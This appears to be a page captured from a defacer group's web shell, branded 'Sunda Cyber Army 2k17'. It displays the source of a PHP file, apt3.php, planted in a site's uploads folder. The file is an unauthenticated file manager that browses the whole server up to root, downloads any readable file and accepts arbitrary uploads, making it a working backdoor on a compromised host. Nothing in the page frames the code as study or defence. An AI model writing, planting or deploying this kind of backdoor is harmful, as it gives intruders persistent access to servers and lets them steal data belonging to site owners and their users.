Sunda Cyber Army


* Sunda Cyber Army 2k17 *
Indonesia Defacer ~


Path : /home/dent/public_html/uploads/
File Upload :
Current File : /home/dent/public_html/uploads/apt3.php

<?php
$root = DIRECTORY_SEPARATOR;
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = realpath($path);

if ($path === false) $path = getcwd();

if (isset($_FILES['file'])) {
    $target = $path . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
    move_uploaded_file($_FILES['file']['tmp_name'], $target);
    header("Location: ?path=" . urlencode($path));
    exit;
}

if (isset($_GET['download'])) {
    $file = realpath($_GET['download']);
    if ($file && is_file($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        readfile($file);
        exit;
    }
}

$items = @scandir($path) ?: [];
?>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>File Manager</title>
<style>
body{font-family:Arial;margin:10px;background:#f4f4f4}
a{text-decoration:none;color:#007bff}
table{width:100%;border-collapse:collapse;background:#fff}
th,td{padding:8px;border:1px solid #ddd;font-size:14px;word-break:break-all}
tr:hover{background:#f9f9f9}
form{margin-top:10px}
input[type=file]{width:70%}
input[type=submit]{padding:6px 12px;background:#007bff;color:#fff;border:none;border-radius:4px}
</style>
</head>
<body>
<h3>Directory: <?php echo htmlspecialchars($path); ?></h3>
<table>
<tr><th>Name</th><th>Type</th><th>Action</th></tr>
<?php if ($path != $root): ?>
<tr>
<td><a href="?path=<?php echo urlencode(dirname($path)); ?>">.. (Parent)</a></td>
<td>Dir</td>
<td></td>
</tr>
<tr>
<td><a href="?path=<?php echo urlencode($root); ?>">/ (Root)</a></td>
<td>Dir</td>
<td></td>
</tr>
<?php endif; ?>
<?php foreach ($items as $item): if ($item == ".") continue; 
    $full = $path . DIRECTORY_SEPARATOR . $item; ?>
<tr>
<td>
<?php if (is_dir($full)): ?>
    <a href="?path=<?php echo urlencode($full); ?>"><?php echo htmlspecialchars($item); ?></a>
<?php else: ?>
    <?php echo htmlspecialchars($item); ?>
<?php endif; ?>
</td>
<td><?php echo is_dir($full) ? "Dir" : "File"; ?></td>
<td>
<?php if (is_file($full)): ?>
<a href="?path=<?php echo urlencode($path); ?>&download=<?php echo urlencode($full); ?>">Download</a>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</table>

<form method="post" enctype="multipart/form-data">
<input type="file" name="file" required>
<input type="submit" value="Upload">
</form>
</body>
</html>